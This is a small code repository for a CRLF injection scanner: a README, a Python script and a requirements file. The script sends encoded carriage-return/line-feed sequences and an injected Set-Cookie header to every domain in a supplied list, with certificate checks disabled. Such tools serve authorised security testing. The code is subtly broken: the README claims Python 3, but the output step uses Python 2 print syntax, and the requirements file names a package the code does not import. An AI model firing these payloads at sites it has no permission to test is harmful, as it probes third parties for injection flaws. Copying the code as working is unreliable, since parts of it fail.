├── README.md ├── crlf_scan.py └── requirments.txt /README.md: -------------------------------------------------------------------------------- 1 | # CRLF-Injection-Scanner 2 | 3 | Command line tool for testing CRLF injection on list of domains. 4 | 5 | Requires Python3 6 | 7 | ``` 8 | crlf_scan.py -i -o 9 | ``` 10 | -------------------------------------------------------------------------------- /crlf_scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | # Author: Michael Stott 5 | # Date: 11/11/17 6 | # 7 | # Edited by Random_Robbie 8 | # 9 | # Ignore bad SSL and added Openvpn Payload. 10 | # 11 | # Command line tool for scanning urls for CRLF injection. 12 | ''' 13 | 14 | import sys, getopt 15 | import requests 16 | import eventlet 17 | from termcolor import colored 18 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 19 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 20 | 21 | eventlet.monkey_patch() 22 | 23 | # List of web protocols. 24 | PROTOCOL_LIST = ['http', 'https'] 25 | 26 | # Append this to beginning of escape sequence. 27 | APPEND_LIST = ["", "crlf", "?crlf=", "#","__session_start__/"] 28 | 29 | # List of escape sequences that possibly result in crlf. 30 | ESCAPE_LIST = ['%0d','%0a', '%0d%0a', '%23%0d', '%23%0a', '%23%0d%0a'] 31 | 32 | # By default, the scanner will try to inject a Set-Cookie statment. 33 | DEFAULT_INJ = "Set-Cookie:param=crlf;" 34 | 35 | # If we don't get a response within the TIMEOUT, terminate the current scan. 36 | TIMEOUT = 5 37 | 38 | class CrlfScan(): 39 | 40 | def __init__(self): 41 | self.inj_str = DEFAULT_INJ 42 | 43 | # Scan the url for crlf. 44 | def scan(self, url): 45 | # Store successful clrf attempts in buffer. 46 | buffer = [] 47 | for append in APPEND_LIST: 48 | for escape in ESCAPE_LIST: 49 | crlf_url = url + append + escape + self.inj_str 50 | session = requests.Session() 51 | with eventlet.Timeout(TIMEOUT): 52 | try: 53 | session.get(crlf_url,verify=False) 54 | print(colored(crlf_url, 'magenta')) 55 | except: 56 | print(colored("Error: %s" % crlf_url, 'red')) 57 | if 'param' in session.cookies.get_dict() and\ 58 | 'crlf' in session.cookies.get_dict().values(): 59 | buffer.append(crlf_url) 60 | return buffer 61 | 62 | 63 | if __name__ == "__main__": 64 | # Get command line arguments for input and output files. 65 | inputfile = '' 66 | outputfile = '' 67 | argv = sys.argv[1:] 68 | try: 69 | opts, args = getopt.getopt(argv,"hi:o:",["ifile=","ofile="]) 70 | except getopt.GetoptError: 71 | print('test.py -i -o ') 72 | sys.exit(2) 73 | for opt, arg in opts: 74 | if opt == '-h': 75 | print('crlf_scan.py -i -o ') 76 | print('inputfile : The file containing all the urls to scan.') 77 | print('outputfile: The file containing all scan results.') 78 | sys.exit() 79 | elif opt in ("-i", "--ifile"): 80 | inputfile = arg 81 | elif opt in ("-o", "--ofile"): 82 | outputfile = arg 83 | if (not inputfile): 84 | print(colored('Error: require input file. (Type -h for help.)', 'red')) 85 | sys.exit(2) 86 | fp = open(inputfile) 87 | 88 | for i, line in enumerate(fp): 89 | print(colored("Starting scan of domain %s" % line.strip(), 'green')) 90 | results = [] 91 | if not line.strip(): 92 | continue 93 | for p in PROTOCOL_LIST: 94 | try: 95 | url = p + '://' + line.strip() 96 | if not url.endswith('/'): 97 | url += '/' 98 | print("Scanning %s." % url) 99 | results.extend(CrlfScan().scan(url)) 100 | except: 101 | print(colored("Error occured when scanning with %s protocol." % p, 'red')) 102 | 103 | print(colored("Finished scanning!\n", 'green')) 104 | if (len(results) == 0): 105 | print(colored("Sorry, no crlf detected.", 'magenta')) 106 | else: 107 | print(colored("CRLF detected! Check the following urls:", 'blue')) 108 | if not outputfile: 109 | outputfile = 'crlf_results.txt' 110 | ofile = open(outputfile, 'w') 111 | for result in results: 112 | print>>ofile, result 113 | print(colored("%s" % result, 'blue')) 114 | ofile.close() 115 | fp.close() 116 | -------------------------------------------------------------------------------- /requirments.txt: -------------------------------------------------------------------------------- 1 | colored 2 | eventlet 3 | requests 4 | --------------------------------------------------------------------------------